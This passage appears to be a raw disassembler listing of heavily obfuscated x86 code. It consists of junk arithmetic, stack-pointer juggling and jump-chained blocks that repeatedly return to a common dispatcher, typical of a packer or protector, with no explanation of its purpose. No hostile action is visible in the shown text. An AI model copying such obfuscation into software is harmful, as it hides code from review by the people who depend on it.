--------------------------------------------------------------------------- loc_589556: ; CODE XREF: sub_581EE9+500Fj push edx push ecx push edx mov dl, 32h mov ch, dl pop edx mov dh, ch pop ecx jmp loc_58BF08 ; --------------------------------------------------------------------------- loc_589566: ; DATA XREF: sub_581EE9+3C63o push eax jmp loc_586D49 ; --------------------------------------------------------------------------- loc_58956C: ; CODE XREF: sub_581EE9+95E7j push ebp jmp loc_590CD6 ; --------------------------------------------------------------------------- loc_589572: ; CODE XREF: sub_581EE9+F52Cj mov ecx, [esp-6EA4h+arg_6E9A+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6EA0h+arg_6E96+2] pop esp push 6B7Ah mov [esp-6EA0h+arg_6E96+2], esi push [esp-6EA0h+arg_6E9A+2] pop esi pop [esp-6EA0h+arg_6E96+2] mov esp, [esp-6EA4h+arg_6E9A+2] push [esp-6EA4h+arg_6E9A+2] pop eax push ebx jmp loc_58A9CF ; --------------------------------------------------------------------------- loc_5895A5: ; CODE XREF: sub_581EE9+69BBj add [esp-6ECCh+arg_6EC6+2], edi mov edi, [esp-6ECCh+arg_6EC2+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6EC8h+arg_6EBE+2] pop esp sub [esp-6ECCh+arg_6EC2+2], 3A3794h jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5895CB: ; CODE XREF: sub_581EE9+9513j push ecx mov ecx, 0D291F94h add ebx, ecx pop ecx sub ebx, 15102AB3h sub ebx, 34CF2876h add ebx, 38A751DCh push esi mov esi, 560126F2h push edi mov edi, 91462CBh neg edi jmp loc_5909F7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 3FC6824h, 1C890000h, 4EC8324h, 0FFF8C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_58960D: ; CODE XREF: sub_581EE9+D1E0j and ebp, 25D43382h jmp loc_58B56B ; --------------------------------------------------------------------------- loc_589618: ; CODE XREF: sub_581EE9+4913j pop esp btr word ptr [esp-6EC4h+arg_6EBA+2], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_589624: ; CODE XREF: sub_581EE9+C7C1j xor eax, edi pop edi push 290Dh jmp loc_58DE59 ; --------------------------------------------------------------------------- loc_589631: ; CODE XREF: sub_581EE9+AE33j sub ecx, 16802A22h jmp loc_591002 ; --------------------------------------------------------------------------- loc_58963C: ; CODE XREF: sub_581EE9+F659j xchg edx, [esp-6EC0h+arg_6EB6+2] mov esp, [esp-6EC0h+arg_6EB6+2] jmp loc_58ABCD ; --------------------------------------------------------------------------- loc_589647: ; CODE XREF: sub_581EE9+97CBj add bl, 5Dh add bl, ch sub bl, 5Dh sub bl, 7Eh pop ecx sub bl, al jmp loc_58B7C8 ; --------------------------------------------------------------------------- loc_58965A: ; CODE XREF: sub_581EE9+4A0Aj pop ebp pop [esp-6ED6h+arg_6ECE] push 1510h jmp loc_585CC9 ; --------------------------------------------------------------------------- loc_589668: ; CODE XREF: sub_581EE9+9B32j add ebx, esi jmp loc_58DAB1 ; --------------------------------------------------------------------------- loc_58966F: ; DATA XREF: sub_581EE9+3CF3o mov ax, word ptr [esp-6ED6h+arg_6ECE] jmp loc_58C594 ; --------------------------------------------------------------------------- loc_589678: ; CODE XREF: sub_581EE9+6A02j pop cx push 740Ch mov [esp-6EBCh+arg_6EB2+2], edx push ecx mov ecx, esp jmp loc_59004E ; --------------------------------------------------------------------------- loc_58968A: ; CODE XREF: sub_581EE9+5E5Aj pop esp or eax, eax jnz loc_590207 push eax push 144h mov [esp-6E94h+arg_6E8A+2], edi mov edi, 3D6C7792h jmp loc_589D72 ; --------------------------------------------------------------------------- loc_5896A6: ; CODE XREF: sub_581EE9+8FC3j mov ebp, 4 jmp loc_58B12E ; --------------------------------------------------------------------------- loc_5896B0: ; CODE XREF: sub_581EE9+6469j mov ebp, 3D23483Dh add esi, ebp jmp loc_58FC75 ; --------------------------------------------------------------------------- loc_5896BC: ; CODE XREF: sub_581EE9+BB94j add ecx, 36D04C0Dh sub ecx, 32D1611Ah mov [ecx], bl pop ecx jmp loc_586543 ; --------------------------------------------------------------------------- loc_5896D0: ; CODE XREF: sub_581EE9+D9CDj shr edi, 6 sub edi, 84411B9Dh sub eax, edi pop edi push [esp-6EDEh+arg_6ED6] pop edx jmp loc_58B01A ; --------------------------------------------------------------------------- loc_5896E5: ; CODE XREF: sub_581EE9+DC87j xchg esi, [esp-6EDEh+arg_6ED6] pop esp jmp loc_58C71F ; --------------------------------------------------------------------------- loc_5896EE: ; CODE XREF: sub_581EE9+F458j add ebp, 4D0382Eh or ebp, 447537F9h neg ebp push eax jmp loc_58D8EA ; --------------------------------------------------------------------------- loc_589702: ; CODE XREF: sub_581EE9+89F5j xor ebx, [esp-6EDEh+arg_6ED6] xor [esp-6EDEh+arg_6ED6], ebx xor ebx, [esp-6EDEh+arg_6ED6] pop esp mov [esp+0], eax push esp jmp loc_586317 ; --------------------------------------------------------------------------- loc_589715: ; CODE XREF: sub_581EE9+7856j xor eax, 317D6E4Dh shr eax, 2 push ecx mov ecx, 7E075823h inc ecx xor ecx, 30EC5647h shr ecx, 8 add ecx, 0CEEBC44Ah add eax, ecx jmp loc_58BDFB ; --------------------------------------------------------------------------- loc_58973A: ; CODE XREF: sub_581EE9+CBD9j or eax, 4499446Eh jmp loc_589715 ; --------------------------------------------------------------------------- loc_589744: ; CODE XREF: sub_581EE9+EBC7j pop ebp pop [esp-6EDEh+arg_6ED6] mov esp, [esp+0] btr [esp+0], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_589756: ; CODE XREF: sub_581EE9+BA06j add ebp, eax pop eax or eax, ebp mov ebp, [esp+0] push ebp mov ebp, esp jmp loc_58ADFF ; --------------------------------------------------------------------------- loc_589766: ; CODE XREF: sub_581EE9+ED18j mov ebx, 655C6221h xor ebx, eax pop eax add eax, ebx jmp loc_58C931 ; --------------------------------------------------------------------------- loc_589775: ; CODE XREF: sub_581EE9+ACA6j push ecx push ebx jmp loc_589CEE ; --------------------------------------------------------------------------- loc_58977C: ; CODE XREF: sub_581EE9+4B49j push edx push esp pop edx push 12E0h mov [esp-6EB2h+arg_6EA8+2], esi mov esi, 4F154662h push esi inc [esp-6EAEh+arg_6EA4+2] jmp loc_59040D ; --------------------------------------------------------------------------- loc_589795: ; CODE XREF: sub_581EE9+A934j mov cl, 0D2h jmp loc_5907AD ; --------------------------------------------------------------------------- loc_58979C: ; CODE XREF: sub_581EE9+98A0j pop ecx add eax, edi add eax, 283508E7h pop edi mov ecx, [eax] mov eax, [esp-6EB6h+arg_6EAC+2] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_589AB3 ; --------------------------------------------------------------------------- loc_5897BA: ; CODE XREF: sub_581EE9+8AE1j sub ecx, ebx pop ebx pop edi xchg ecx, [esp-6EBAh+arg_6EB2] mov esp, [esp-6EBAh+arg_6EB2] div cl movzx cx, ah jmp loc_587066 ; --------------------------------------------------------------------------- loc_5897CF: ; CODE XREF: sub_581EE9+A384j add esi, edi push [esp-6EBAh+arg_6EB2] pop edi add esp, 4 jmp loc_58A332 ; --------------------------------------------------------------------------- loc_5897E0: ; CODE XREF: sub_581EE9+A5DDj add ebx, 0CBD011Ch pop ebp pop ebp sub edx, 79C3515Fh sub edx, 57A36863h push ebp mov ebp, 2A2F4F76h sub ebp, 0B597F59Ah add edx, ebp pop ebp push ebx mov ebx, 6E4C75C4h or ebx, 253A5199h dec ebx sub ebx, 12BA5456h sub edx, ebx pop ebx add edx, eax add edx, 5CC42186h push eax mov eax, 749759DCh sub edx, eax pop eax push eax push edx push eax mov eax, 57A36863h mov edx, eax jmp loc_5866DE ; --------------------------------------------------------------------------- loc_589839: ; CODE XREF: sub_581EE9+C2FCj add edx, 4 add edx, 4 xchg edx, [esp-6EBAh+arg_6EB2] pop esp shl esi, 6 shr esi, 1 xor esi, 3546D020h and eax, esi pop esi shr eax, 0Ah xor eax, ecx sub esp, 4 mov [esp-6EBEh+arg_6EB6], eax xchg eax, [esp-6EBEh+arg_6EB6] xchg eax, ecx not ecx push 567Ah mov [esp-6EBAh+arg_6EB2], eax push 6E4Bh mov [esp-6EB6h+arg_6EAC+2], ecx pop eax pop ecx push 1251h mov [esp-6EBAh+arg_6EB2], eax push [esp-6EBAh+arg_6EB6] pop eax jmp loc_586B38 ; --------------------------------------------------------------------------- loc_589889: ; CODE XREF: sub_581EE9+49CFj xchg ecx, ebp not ecx xchg ecx, ebp xor eax, ebp xor ebp, eax xor eax, ebp push eax sub esp, 4 mov [esp-6ED2h+arg_6ECA], esp push ebp mov ebp, 4 sub [esp-6ECEh+arg_6ECA], 577217EDh add [esp-6ECEh+arg_6ECA], ebp add [esp-6ECEh+arg_6ECA], 577217EDh pop ebp jmp loc_58AE6C ; --------------------------------------------------------------------------- loc_5898BF: ; CODE XREF: sub_581EE9+9CDAj pop ebx add al, 21h jmp loc_58C033 ; --------------------------------------------------------------------------- loc_5898C7: ; CODE XREF: sub_581EE9+997Ej xor ebx, [esp-6ED6h+arg_6ECE] jmp loc_5880E4 ; --------------------------------------------------------------------------- loc_5898CF: ; CODE XREF: sub_581EE9+73FBj add edx, 31255E76h mov ebx, edx mov edx, [esp-6EB2h+arg_6EA8+2] add esp, 4 add edi, 49560C5Ch sub edi, ebx sub edi, 49560C5Ch pop ebx push ecx push 0FFFFFFFFh pop ecx jmp loc_58B46F ; --------------------------------------------------------------------------- loc_5898F8: ; CODE XREF: sub_581EE9+A6CBj add ebx, 4 jmp loc_591583 ; --------------------------------------------------------------------------- loc_589900: ; CODE XREF: sub_581EE9+D860j mov ecx, 4EB16A3Ch sub eax, ecx pop ecx jmp loc_58F8BB ; --------------------------------------------------------------------------- loc_58990D: ; CODE XREF: sub_581EE9+B35Dj shl ecx, 7 jmp loc_58697E ; --------------------------------------------------------------------------- loc_589915: ; CODE XREF: sub_581EE9+D1C9j add esp, 4 push eax mov eax, 19397BF4h not eax xor eax, 35B409FFh or eax, 2769208Fh shl eax, 8 add eax, 0A4AB7D94h add ebp, eax jmp loc_58EB44 ; --------------------------------------------------------------------------- loc_589939: ; CODE XREF: sub_581EE9+8A08j sub esp, 4 mov [esp-6EB6h+arg_6EAC+2], esi mov esi, 4 add ebx, esi pop esi jmp loc_587B2D ; --------------------------------------------------------------------------- loc_58994F: ; CODE XREF: sub_581EE9+68C2j pop esi inc ebx or ebx, 35035EDAh add ebx, 342006h jmp loc_58BAEE ; --------------------------------------------------------------------------- loc_589962: ; CODE XREF: sub_581EE9+D8C2j pop esi sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edx push eax mov eax, 1 mov edx, eax pop eax or [edi+1Ch], edx push dword ptr [esp] pop edx push esi jmp loc_58E07C ; --------------------------------------------------------------------------- loc_589987: ; CODE XREF: sub_581EE9+DFDEj push ebp push [esp-6E86h+arg_6E80+2] pop ebp pop [esp-6E86h+arg_6E7C+2] pop esp mov [esp-6E8Eh+arg_6E84+2], ebp jmp loc_58A48C ; --------------------------------------------------------------------------- loc_589999: ; CODE XREF: sub_581EE9+72F9j xchg edx, [esp-6EC4h+arg_6EBA+2] pop esp mov word ptr [esp-6EC8h+arg_6EBE+2], bx mov bl, 94h sub esp, 4 mov [esp-6EC4h+arg_6EBA+2], ebx push 3200h mov [esp-6EC0h+arg_6EB6+2], edx mov dh, 68h jmp loc_58FE12 ; --------------------------------------------------------------------------- loc_5899B8: ; DATA XREF: sub_581EE9+3AFFo push [esp-6EC0h+arg_6EB6+2] push [esp-6EBCh+arg_6EB2+2] mov eax, [esp+0] add esp, 4 push ebp push esp jmp loc_58A486 ; --------------------------------------------------------------------------- loc_5899CB: ; CODE XREF: sub_581EE9+E8DFj mov [esp-6EB4h+arg_6EAC], edx jmp loc_589EC8 ; --------------------------------------------------------------------------- loc_5899D3: ; CODE XREF: sub_581EE9+8825j mov [esp-6EB4h+arg_6EAC], ebx push dword ptr [esp+4] mov ebx, [esp-6EB0h+arg_6EA8] add esp, 4 jmp loc_58950F ; --------------------------------------------------------------------------- loc_5899E5: ; CODE XREF: sub_581EE9+4A2Aj sub esp, 4 mov [esp-6ED0h+arg_6EC6+2], edi jmp loc_58FEEA ; --------------------------------------------------------------------------- loc_5899F3: ; DATA XREF: sub_581EE9+3B0Bo neg [esp-6ED0h+arg_6EC6+2] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5899FC: ; DATA XREF: sub_581EE9+3D6Bo pop dword ptr [edx] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_589A03: ; CODE XREF: sub_581EE9+94D5j add esi, 4 sub esi, 4 xchg esi, [esp-6ED0h+arg_6EC6+2] pop esp mov [esp-6ED4h+arg_6ECA+2], esi mov esi, 25FF42F0h add esi, 7C482DD2h dec esi add esi, 9EFAE40Bh jmp loc_58F361 ; --------------------------------------------------------------------------- loc_589A2D: ; CODE XREF: sub_581EE9+D7C2j push eax jmp loc_58670F ; --------------------------------------------------------------------------- loc_589A33: ; CODE XREF: sub_581EE9+5F8Aj mov ecx, [esp-6EE4h+arg_6EDC] jmp loc_5864DB ; --------------------------------------------------------------------------- loc_589A3B: ; CODE XREF: sub_581EE9+495Fj push small 6353h mov word ptr [esp-6EC2h+arg_6EBA], cx xor word ptr [esp-6EC2h+arg_6EBA], dx xor dx, word ptr [esp-6EC2h+arg_6EBA] xor word ptr [esp-6EC2h+arg_6EBA], dx not dx push dx push small word ptr [esp-6EC0h+arg_6EBA] pop dx pop small word ptr [esp-6EC0h+arg_6EB6+2] pop cx xor word ptr [esp-6EC4h+arg_6EBA+2], cx xor cx, word ptr [esp-6EC4h+arg_6EBA+2] xor word ptr [esp-6EC4h+arg_6EBA+2], cx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_589A72: ; CODE XREF: sub_581EE9+BA68j mov esi, 0FB83E727h add esi, ebx pop ebx jmp loc_58633E ; --------------------------------------------------------------------------- loc_589A7F: ; CODE XREF: sub_581EE9+F765j pop ebp or ebp, 411A521Fh neg ebp jmp loc_587808 ; --------------------------------------------------------------------------- loc_589A8D: ; CODE XREF: sub_581EE9+FC92j add ebx, edi pop edi and eax, ebx push [esp-6ED0h+arg_6EC6+2] mov ebx, [esp-6ECCh+arg_6EC2+2] add esp, 4 sub esp, 4 mov [esp-6ECCh+arg_6EC2+2], ebx mov ebx, esp jmp loc_587D1C ; --------------------------------------------------------------------------- loc_589AAB: ; CODE XREF: sub_581EE9+D319j pop eax not dh jmp loc_5867AD ; --------------------------------------------------------------------------- loc_589AB3: ; CODE XREF: sub_581EE9+78CCj xchg eax, [esp-6EB2h+arg_6EA8+2] pop esp jmp loc_58BC16 ; --------------------------------------------------------------------------- loc_589ABC: ; CODE XREF: sub_581EE9+581Aj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_589AC1: ; CODE XREF: sub_581EE9+E843j or dh, 1 or dh, 53h shr dh, 1 xor dh, 13h jmp loc_58A61A ; --------------------------------------------------------------------------- loc_589AD1: ; CODE XREF: sub_581EE9+50F3j xor esi, 5EF341A4h sub ebp, esi pop esi mov edi, [esp-6EFEh+arg_6EF6] add esp, 4 push 34D2h mov [esp-6EFEh+arg_6EF6], ebp push [esp-6EFEh+arg_6EFA] pop ebp pop [esp-6EFEh+arg_6EF6] jmp loc_58D28C ; --------------------------------------------------------------------------- loc_589AF5: ; CODE XREF: sub_581EE9+9ACBj mov ecx, 42772C2Ah xor ecx, 2B6572A6h jmp loc_590088 ; --------------------------------------------------------------------------- loc_589B05: ; CODE XREF: sub_581EE9+44C0j mov ecx, 7FCD2BCDh inc ecx push edi mov edi, 86A52AAh add ecx, 3EDE407Fh jmp loc_58F412 ; --------------------------------------------------------------------------- loc_589B1C: ; CODE XREF: sub_581EE9+A541j push edi mov edi, 6AE24D03h neg edi neg edi inc edi not edi xor edi, 951DB2F9h add ebx, 8176F04h sub ebx, 337814D1h jmp loc_58AD19 ; --------------------------------------------------------------------------- loc_589B40: ; CODE XREF: sub_581EE9+9DC7j xor al, bl push ebx push edx mov dl, 3Fh neg dl push bx mov bh, 0CFh xor dl, bh jmp loc_588BE8 ; --------------------------------------------------------------------------- loc_589B53: ; CODE XREF: sub_581EE9+EF78j pop eax push eax mov eax, esp jmp loc_58CBFA ; --------------------------------------------------------------------------- loc_589B5C: ; CODE XREF: sub_581EE9+8AAEj add eax, 4 xchg eax, [esp-6ED2h+arg_6ECA] pop esp jmp loc_588423 ; --------------------------------------------------------------------------- loc_589B6A: ; CODE XREF: sub_581EE9+A7E4j pop edx jmp loc_58C15D ; --------------------------------------------------------------------------- loc_589B70: ; CODE XREF: sub_581EE9+7CF8j sub esi, 0F127DF05h add edi, esi pop esi pop ebp push eax mov eax, 4 add edi, eax mov eax, [esp-6EDEh+arg_6ED6] add esp, 4 push edi jmp loc_5866E6 ; --------------------------------------------------------------------------- loc_589B91: ; CODE XREF: sub_581EE9+4000j pop eax pop esi xchg edi, [esp-6EC8h+arg_6EBE+2] pop esp push 6684h mov [esp-6EC8h+arg_6EBE+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6EC8h+arg_6EBE+2] mov esp, [esp-6EC8h+arg_6EBE+2] push edx jmp loc_58F930 ; --------------------------------------------------------------------------- loc_589BB6: ; CODE XREF: sub_581EE9+D9E5j sub eax, edi mov edi, [esp-6EC4h+arg_6EBA+2] add esp, 4 push edx mov edx, 4EB16A3Ch add eax, 7C1204ACh add eax, 50981DF8h add eax, edx jmp loc_58F8AB ; --------------------------------------------------------------------------- loc_589BD5: ; CODE XREF: sub_581EE9+FBA5j sub esi, 2D167942h or esi, 5A552D66h jmp loc_589B70 ; --------------------------------------------------------------------------- loc_589BE6: ; CODE XREF: sub_581EE9+4D7Cj pop ebx add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_591B12 ; --------------------------------------------------------------------------- loc_589BFB: ; CODE XREF: sub_581EE9+DCE8j mov eax, [esp-6ED8h+arg_6ECE+2] sub esp, 4 mov [esp-6ED4h+arg_6ECA+2], edx mov edx, esp push 5CECh mov [esp-6ED0h+arg_6EC6+2], eax push edi mov edi, 4 mov eax, edi jmp loc_58D0D3 ; --------------------------------------------------------------------------- loc_589C1B: ; CODE XREF: sub_581EE9+B53Bj xor ecx, 984105h push ecx jmp loc_58F6DD ; --------------------------------------------------------------------------- loc_589C27: ; CODE XREF: sub_581EE9+F500j sub ecx, 245A2A3Eh add esi, ecx pop ecx push 2C02h jmp loc_58E389 ; --------------------------------------------------------------------------- loc_589C3A: ; CODE XREF: sub_581EE9+68F2j mov edx, 347B32A3h xor ecx, edx pop edx sub eax, ecx pop ecx jmp loc_5888B3 ; --------------------------------------------------------------------------- loc_589C4A: ; CODE XREF: sub_581EE9+C815j sub eax, 4 xchg eax, [esp-6ED8h+arg_6ECE+2] pop esp push esp pop [esp-6ED8h+arg_6ECE+2] push 48Eh jmp loc_58E137 ; --------------------------------------------------------------------------- loc_589C61: ; CODE XREF: sub_581EE9+8746j mov [esp-6ED8h+arg_6ECE+2], edi mov edi, 5F0D0B94h push ecx push edx mov edx, 21AA2D95h jmp loc_58C8C1 ; --------------------------------------------------------------------------- loc_589C75: ; CODE XREF: sub_581EE9+ACD2j mov edx, [esp-6ED0h+arg_6EC6+2] add esp, 4 xor edx, 64862DDDh jmp loc_58D1B8 ; --------------------------------------------------------------------------- loc_589C89: ; CODE XREF: sub_581EE9+BF45j mov ebp, 34672A66h sub [edi+20h], ebp push [esp-6ED4h+arg_6ECA+2] pop ebp push edi mov edi, esp jmp loc_5861F4 ; --------------------------------------------------------------------------- loc_589C9D: ; CODE XREF: sub_581EE9+C795j add ecx, 71F57B38h add ecx, ebx sub ecx, 71F57B38h pop ebx jmp loc_58FE63 ; --------------------------------------------------------------------------- loc_589CB1: ; CODE XREF: sub_581EE9+BF58j pop ecx add esp, 4 shr ebp, 1 jmp loc_588FA5 ; --------------------------------------------------------------------------- loc_589CBF: ; CODE XREF: sub_581EE9+9D1Ej mov edx, [esp-6EDCh+arg_6ED2+2] push ebx mov ebx, esp add ebx, 4 jmp loc_58D522 ; --------------------------------------------------------------------------- loc_589CD0: ; CODE XREF: sub_581EE9+6C20j shr esi, 6 neg esi jmp loc_5917AC ; --------------------------------------------------------------------------- loc_589CDA: ; CODE XREF: sub_581EE9+4242j mov esp, [esp-6EB2h+arg_6EA8+2] add edx, 4 add edx, 2 jmp loc_591427 ; --------------------------------------------------------------------------- loc_589CEE: ; CODE XREF: sub_581EE9+788Ej mov bl, 0A9h mov ch, 0C4h add ch, bl pop ebx dec ch shl ch, 1 jmp loc_58F010 ; --------------------------------------------------------------------------- loc_589CFE: ; CODE XREF: sub_581EE9+99D5j xor [esp-6EDEh+arg_6ED6], esi xor esi, [esp-6EDEh+arg_6ED6] mov esp, [esp-6EDEh+arg_6ED6] jmp loc_591572 ; --------------------------------------------------------------------------- loc_589D0C: ; CODE XREF: sub_581EE9+AF98j mov edi, esp push edx mov edx, 398D26D4h push esi mov esi, 0AB9194Dh and edx, esi pop esi push edi mov edi, 222357FAh xor edi, 23ED77AFh xor edi, 244A6D41h add edx, edi pop edi inc edx xor edx, 2E0D4D5Dh add edi, edx mov edx, [esp-6EDAh+arg_6ED2] add esp, 4 push ebp mov ebp, 4 add edi, ebp pop ebp jmp loc_58EACE ; --------------------------------------------------------------------------- loc_589D52: ; CODE XREF: sub_581EE9+6227j push ebp jmp loc_58826B ; --------------------------------------------------------------------------- loc_589D58: ; CODE XREF: sub_581EE9+CD7Cj not ebx jmp loc_58BB08 ; --------------------------------------------------------------------------- loc_589D5F: ; CODE XREF: sub_581EE9+DF0Cj or edi, 2D491BD4h xor edi, 77C9575Dh neg edi jmp loc_589F81 ; --------------------------------------------------------------------------- loc_589D72: ; CODE XREF: sub_581EE9+77B8j mov eax, edi pop edi push ebx jmp loc_59132F ; --------------------------------------------------------------------------- loc_589D7B: ; CODE XREF: sub_581EE9+B9A9j add ebx, 4 push esi mov esi, 38B51920h sub esi, 56B828E4h neg esi dec esi shr esi, 8 add esi, 52675551h add esi, 0AD7AA7A2h jmp loc_590A0F ; --------------------------------------------------------------------------- loc_589DA4: ; CODE XREF: sub_581EE9+AC85j mov eax, 4 add esi, eax pop eax add esi, 4 xchg esi, [esp-6E94h+arg_6E8A+2] pop esp add bl, 0E3h push ecx sub esp, 4 mov [esp+0], edx push eax jmp loc_586465 ; --------------------------------------------------------------------------- loc_589DC9: ; CODE XREF: sub_581EE9+CE89j add edi, edx pop edx add edi, 2 xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp xor bx, ax movzx eax, ax jmp loc_58DFDB ; --------------------------------------------------------------------------- loc_589DE4: ; CODE XREF: sub_581EE9+A536j mov dl, 18h sub al, dl pop edx push dx jmp loc_58D513 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E96h+arg_6E8E] push 5196h jmp loc_5915C9 ; --------------------------------------------------------------------------- loc_589DFE: ; DATA XREF: sub_581EE9+3D63o push [esp-6E92h+arg_6E8A] pop eax jmp loc_58DCB0 ; --------------------------------------------------------------------------- loc_589E07: ; CODE XREF: sub_581EE9+B563j push esp pop ebp jmp loc_5890BC ; --------------------------------------------------------------------------- loc_589E0E: ; CODE XREF: sub_581EE9+8EF5j mov eax, 594A181Eh add eax, 82A1936h add eax, 14A214BCh mov edx, eax pop eax or edx, 5A027BA1h push ebp mov ebp, 0 sub ebp, edx xchg ebp, edx jmp loc_58F4F1 ; --------------------------------------------------------------------------- loc_589E35: ; CODE XREF: sub_581EE9+C882j xchg edx, edi not edx xchg edx, edi sub edi, 0F30EE9B2h push edi sub dword ptr [esp], 0E015782h jmp loc_58D662 ; --------------------------------------------------------------------------- loc_589E4E: ; CODE XREF: sub_581EE9+E3ADj add esp, 4 jmp loc_58B361 ; --------------------------------------------------------------------------- loc_589E59: ; CODE XREF: sub_581EE9+B003j push esi push 6092h push esp pop [esp-6E86h+arg_6E7C+2] add [esp-6E8Ah+arg_6E80+2], 4 jmp loc_58A00F ; --------------------------------------------------------------------------- loc_589E6C: ; CODE XREF: sub_581EE9+E35Aj pop ebx add esp, 4 pop [esp-6E92h+arg_6E8A] mov esp, [esp-6E96h+arg_6E8E] add esp, 4 push 157Eh mov [esp-6E96h+arg_6E8E], edi mov edi, 29A852F3h sub esp, 4 mov [esp-6E92h+arg_6E8A], edx mov edx, 7A077C8Ch jmp loc_58A9AE ; --------------------------------------------------------------------------- loc_589E9C: ; CODE XREF: sub_581EE9+EFAEj xchg ah, ch not ah xchg ah, ch push 5BF6h mov [esp-6E8Eh+arg_6E84+2], eax push ebx mov bl, dl mov al, bl mov ebx, [esp-6E8Ah+arg_6E80+2] add esp, 4 mov dl, ch mov ch, al pop eax not dl xor ch, dl xor dl, ch jmp loc_5891E7 ; --------------------------------------------------------------------------- loc_589EC8: ; CODE XREF: sub_581EE9+7AE5j mov dh, 0A1h mov al, dh jmp loc_58ED77 ; --------------------------------------------------------------------------- loc_589ED1: ; CODE XREF: sub_581EE9+F84Bj mov ebx, 14726FE7h and edi, ebx mov ebx, [esp-6EB4h+arg_6EAC] add esp, 4 sub edi, 4104A0Bh jmp loc_588C86 ; --------------------------------------------------------------------------- loc_589EE9: ; CODE XREF: sub_581EE9+87F9j add esp, 4 add esi, 4 jmp loc_5886C8 ; --------------------------------------------------------------------------- loc_589EF7: ; CODE XREF: sub_581EE9+7131j mov ecx, [esp-6EA8h+arg_6E9E+2] push eax jmp loc_587FAF ; --------------------------------------------------------------------------- loc_589F00: ; DATA XREF: sub_581EE9+3CEFo lodsb jmp loc_590661 ; --------------------------------------------------------------------------- loc_589F06: ; CODE XREF: sub_581EE9+841Fj xor al, bl push edx jmp loc_586A60 ; --------------------------------------------------------------------------- loc_589F0E: ; CODE XREF: sub_581EE9+A446j add esi, eax pop eax xchg esi, [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA4h+arg_6E9A+2] pop [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA8h+arg_6E9E+2] mov ax, word ptr [esp-6EA8h+arg_6E9E+2] sub esp, 4 mov [esp-6EA4h+arg_6E9A+2], ebx push esp mov ebx, [esp-6EA0h+arg_6E96+2] add esp, 4 push esi mov esi, 4 jmp loc_58D6A6 ; --------------------------------------------------------------------------- loc_589F39: ; CODE XREF: sub_581EE9+A339j not bh push ecx mov ch, 0Eh shl ch, 2 shr ch, 1 sub ch, 6Dh jmp loc_58C56D ; --------------------------------------------------------------------------- loc_589F4B: ; CODE XREF: sub_581EE9+73C9j add edi, 0FFFFFFFFh sub edi, 1 shr edi, 8 push esi mov esi, 61623AE9h dec esi shr esi, 7 shr esi, 8 push esi jmp loc_58A430 ; --------------------------------------------------------------------------- loc_589F6D: ; DATA XREF: sub_581EE9+3D77o mov cx, word ptr [esp-6EB2h+arg_6EA8+2] push ebx mov ebx, esp push 788Ah mov dword ptr [esp-6EAAh+arg_6EA2], edi jmp loc_58B271 ; --------------------------------------------------------------------------- loc_589F81: ; CODE XREF: sub_581EE9+7E84j neg edi add edi, 656B735Bh add edx, edi pop edi jmp loc_587FF8 ; --------------------------------------------------------------------------- loc_589F91: ; CODE XREF: sub_581EE9+5925j and ecx, ebp pop ebp jmp loc_587DF9 ; --------------------------------------------------------------------------- loc_589F99: ; DATA XREF: sub_581EE9+3B33o mov ecx, [esp-6EC8h+arg_6EBE+2] push 6E54h mov [esp-6EC4h+arg_6EBA+2], eax push esp mov eax, [esp-6EC0h+arg_6EB6+2] jmp loc_586671 ; --------------------------------------------------------------------------- loc_589FAD: ; CODE XREF: sub_581EE9+B439j sub esp, 4 jmp loc_58A823 ; --------------------------------------------------------------------------- loc_589FB5: ; CODE XREF: sub_581EE9+D44Aj add esi, eax pop eax push esi push [esp-6EBCh+arg_6EB6+2] pop esi pop [esp-6EBCh+arg_6EB2+2] pop esp jmp loc_58A5A6 ; --------------------------------------------------------------------------- loc_589FC7: ; CODE XREF: sub_581EE9+A527j sub eax, 4E403075h pop edx pop ebx jmp loc_5915A0 ; --------------------------------------------------------------------------- loc_589FD3: ; CODE XREF: sub_581EE9+B270j push edx mov edx, 5B9D477Eh and eax, edx jmp loc_58DF76 ; --------------------------------------------------------------------------- loc_589FE0: ; CODE XREF: sub_581EE9+3F4Aj push [esp-6ED4h+arg_6ECE+2] jmp loc_58ABE8 ; --------------------------------------------------------------------------- loc_589FE9: ; CODE XREF: sub_581EE9+9EA4j add esi, 0A433B5ABh jmp loc_58E507 ; --------------------------------------------------------------------------- loc_589FF4: ; CODE XREF: sub_581EE9+DA78j add al, 2Bh pop ebx push ax push ecx mov cl, 52h push edx jmp loc_59182F ; --------------------------------------------------------------------------- loc_58A002: ; DATA XREF: sub_581EE9+3AFBo push 62A6h mov [esp-6EC6h+arg_6EBE], ecx jmp loc_586DFE ; --------------------------------------------------------------------------- loc_58A00F: ; CODE XREF: sub_581EE9+7F7Ej pop esi add esi, 4 push eax push esi push 6C571385h pop esi add esi, 93A8EC7Fh push edx mov edx, esi jmp loc_58FEAF ; --------------------------------------------------------------------------- loc_58A02C: ; CODE XREF: sub_581EE9+FD02j or eax, 34B653B4h add eax, 3412848h sub esi, 31F70D52h add esi, eax push ecx jmp loc_58B8A3 ; --------------------------------------------------------------------------- loc_58A044: ; CODE XREF: sub_581EE9+E2DBj add al, ch jmp loc_58850A ; --------------------------------------------------------------------------- loc_58A04B: ; CODE XREF: sub_581EE9+F4BBj pop ecx pop dword ptr [esp-6E82h+arg_6E7A] pop esp mov [esp-6E8Ah+arg_6E80+2], edi push 241Ah push esp pop dword ptr [esp-6E82h+arg_6E7A] push ecx jmp loc_58B38D ; --------------------------------------------------------------------------- loc_58A062: ; CODE XREF: 